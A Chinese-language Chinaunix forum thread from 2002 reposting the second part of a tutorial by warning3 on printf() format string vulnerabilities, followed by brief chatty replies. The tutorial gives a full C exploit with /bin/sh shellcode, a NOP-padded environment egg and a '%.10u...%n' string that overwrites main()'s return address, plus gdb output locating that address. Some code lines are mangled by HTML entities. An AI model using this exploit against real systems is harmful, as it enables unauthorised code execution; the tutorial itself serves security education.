免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
最近访问板块 发新帖
查看: 3250 | 回复: 5
打印 上一主题 下一主题

printf()格式化串安全漏洞分析(下) [复制链接]

论坛徽章:
0
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2002-11-06 13:27 |只看该作者 |倒序浏览
*printf()格式化串安全漏洞分析(下)

作者:warning3 (warning3@nsfocus.com)
主页:http://www.nsfocus.com
日期:2000-8-15

    测试平台:RedHat 6.1, RedHat 6.2 (Intel i386)

(继续)

那么让我们来写一个简单的测试程序来看一下:

<- begin ->;  exp.c

#include <stdlib.h>;                                            
#include <unistd.h>;                                            
                                                               
#define DEFAULT_OFFSET                    0                    
#define DEFAULT_ALIGNMENT                 2     // 我们使用两个字节来进行&quot;对齐&quot;
#define DEFAULT_RETLOC           0xbffff6dc     // 存放main()返回地址的地址               
#define DEFAULT_BUFFER_SIZE             512                    
#define DEFAULT_EGG_SIZE               2048                    
#define NOP                            0x90                    
                                                               
char shellcode[] =                                             
  &quot;\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b&quot;
  &quot;\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd&quot;
  &quot;\x80\xe8\xdc\xff\xff\xff/bin/sh&quot;&#59;

                                                               
unsigned long get_esp(void) {                                 
   __asm__(&quot;movl %esp,%eax&quot&#59;                                 
}                                                              
                                                               
main(int argc, char *argv[]) {                           
  char *buff, *ptr, *egg&#59;                                      
  char *env[2]&#59;
  long shell_addr,retloc=DEFAULT_RETLOC&#59;                                                   
  int offset=DEFAULT_OFFSET, align=DEFAULT_ALIGNMENT&#59;        
  int bsize=DEFAULT_BUFFER_SIZE, eggsize=DEFAULT_EGG_SIZE&#59;                             
  int fmt_num=4, i&#59;
                                                               
  if (argc >; 1) sscanf(argv[1],&quot;%x&quot;,&amp;retloc)&#59; // 存放main()返回地址的地址                                                                                       
  if (argc >; 2) offset  = atoi(argv[2])&#59;                       
  if (argc >; 3) align = atoi(argv[3])&#59;                       
  if (argc >; 4) bsize   = atoi(argv[4])&#59;                       
  if (argc >; 5) eggsize = atoi(argv[5])&#59;                       

  
                                                               
  printf(&quot;Usages: %s <RETloc>; <offset>; <align>; <buffsize>; <eggsize>; \n&quot;,argv[0])&#59;                                                            
  if (!(buff = malloc(bsize))) {                              
    printf(&quot;Can't allocate memory.\n&quot&#59;                        
    exit(0)&#59;                                                   
  }                                                            

  if (!(egg = malloc(eggsize))) {                              
    printf(&quot;Can't allocate memory.\n&quot&#59;                        
    exit(0)&#59;                                                   
  }                                                            
  
  printf(&quot;Using Ret location address: 0x%x\n&quot;, retloc)&#59;                                                                    
  shell_addr = get_esp() + offset&#59;    //计算我们shellcode所处的地址                              
  printf(&quot;Using Shellcode address: 0x%x\n&quot;, shell_addr)&#59;
  
  ptr = buff&#59;                                                  
  memset(buff,'A',4)&#59;

  i = align&#59;
  buff   =  retloc &amp; 0x000000ff&#59;   // 将retloc放到buff里                    
  buff[i+1] = (retloc &amp; 0x0000ff00) >;>; 8&#59;                 
  buff[i+2] = (retloc &amp; 0x00ff0000) >;>; 16&#59;               
  buff[i+3] = (retloc &amp; 0xff000000) >;>; 24&#59;                  
  
  ptr = buff + i + 4&#59;
  for(i = 0 &#59; i < 4 &#59; i++ )  //存放%.10u%.10u%.10u%.10u
    {
        memcpy(ptr, &quot;%.10u&quot;, 5)&#59;
        ptr += 5&#59;
    }
/* 存放&quot;%.SHELL_ADDRu%n&quot;,为了使显示总长度等于shell_addr,
  * 我们减去4个%.10u的长度:4*10,再减去&quot;argv[1] = xxRETloc&quot;的长度:12+4
  * 将这个长度作为第5个%u的宽度值   
  */  
sprintf(ptr, &quot;%%.%uu%%n&quot;, shell_addr - 4*10 - 16)&#59;

  ptr = egg&#59;                                                   
  for (i = 0&#59; i < eggsize - strlen(shellcode) - 1&#59; i++)        
    *(ptr++) = NOP&#59;                                            
                                                               
  for (i = 0&#59; i < strlen(shellcode)&#59; i++)                     
    *(ptr++) = shellcode&#59;                                   
                                                               
  buff[bsize - 1] = '\0'&#59;                                      
  egg[eggsize - 1] = '\0'&#59;                                    
                                                               
  memcpy(egg, &quot;EGG=&quot;, 4)&#59;                                       
  env[0] = egg &#59;
  env[1] = (char *)0 &#59;

  execle(&quot;./vul&quot;,&quot;vul&quot;,buff,NULL,env)&#59;         
}  /* end of main */      

<- end ->;  

注意:在我们的程序里,我们实际使用的模式是:

AA|RETloc|%.10u%.10u%.10u%.10u%.(shell_addr-4*10-16)u|%n

选用%.10u的原因是:如果用&quot;%.nu&quot;来显示一个数值的时候,若数值长度大于n,则仍然会
显示实际的长度,而不会截断为n。只有在数值长度小于n时,才会在数值前面补'0'使显
示长度达到n.而一个四字节的无符号整数,最大为0xffffffff = 4294967295,其长度也
就是10,因此,使用%.10u将保证显示长度的精确(肯定为10).现在唯一要确定的就是
RETloc,也就是main()的返回地址了。这也很简单:

[root@rh62 /root]# ./x 0x41414141
Usages: ./x <RETloc>; <offset>; <align>; <buffsize>; <eggsize>;
Using Ret location address: 0x41414141
Using Shellcode address: 0xbffffb08

Segmentation fault (core dumped)
[root@rh62 /root]# gdb ./vul core
GNU gdb 19991004
<....>;
#0  0x400622b7 in _IO_vfprintf (s=0xbfffedc4,
    format=0xbffff2d8 &quot;argv[1] = AAAAAA%.10u%.10u%.10u%.10u%.3221224144u%n&quot;,
    ap=0xbffff2e at vfprintf.c:1212
1212    vfprintf.c: No such file or directory.
(gdb) bt  
#0  0x400622b7 in _IO_vfprintf (s=0xbfffedc4,
    format=0xbffff2d8 &quot;argv[1] = AAAAAA%.10u%.10u%.10u%.10u%.3221224144u%n&quot;,
    ap=0xbffff2e at vfprintf.c:1212
#1  0x40070716 in _IO_vsnprintf (
    string=0xbfffeec0 &quot;argv[1] = AAAAAA00000000020000000001198649097705429783951094787133&quot;, maxlen=1023,
    format=0xbffff2d8 &quot;argv[1] = AAAAAA%.10u%.10u%.10u%.10u%.3221224144u%n&quot;,
    args=0xbffff2d0) at vsnprintf.c:129
#2  0x80484de in log (level=1,
    fmt=0xbffff2d8 &quot;argv[1] = AAAAAA%.10u%.10u%.10u%.10u%.3221224144u%n&quot
    at vul.c:13
#3  0x8048589 in main (argc=2, argv=0xbffff724) at vul.c:33
(gdb) i f 3  ----->; 查看main()的栈帧
Stack frame at 0xbffff6d8:
eip = 0x8048589 in main (vul.c:33)&#59; saved eip 0x400349cb
caller of frame at 0xbffff2c0
source language c.
Arglist at 0xbffff6d8, args: argc=2, argv=0xbffff724
Locals at 0xbffff6d8, Previous frame's sp is 0x0
Saved registers:
  ebp at 0xbffff6d8, eip at 0xbffff6dc  ---->; OK,存放eip的地址是0xbffff6dc
(gdb)

好的,既然现在我们已经知道了RETloc的地址,就让我们运行一下我们的攻击程序看看吧:
[root@rh62 /root]# ./x 0xbffff6dc
Usages: ./x <RETloc>; <offset>; <align>; <buffsize>; <eggsize>;
Using Ret location address: 0xbffff6dc
Using Shellcode address: 0xbffffb08

argv[1] = AA荟

论坛徽章:
0
2 [报告]
发表于 2002-11-07 11:23 |只看该作者

printf()格式化串安全漏洞分析(下)

顶!

论坛徽章:
0
3 [报告]
发表于 2002-11-07 11:25 |只看该作者

printf()格式化串安全漏洞分析(下)

什么意思???
是好还是不好?

论坛徽章:
0
4 [报告]
发表于 2002-11-08 12:18 |只看该作者

printf()格式化串安全漏洞分析(下)

就是说捧捧场,给你顶高一层楼!
竖子不可教也!

论坛徽章:
0
5 [报告]
发表于 2002-11-08 12:42 |只看该作者

printf()格式化串安全漏洞分析(下)

谢谢,我一定加倍努力!!!

论坛徽章:
0
6 [报告]
发表于 2003-06-18 15:09 |只看该作者

printf()格式化串安全漏洞分析(下)

晕~
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP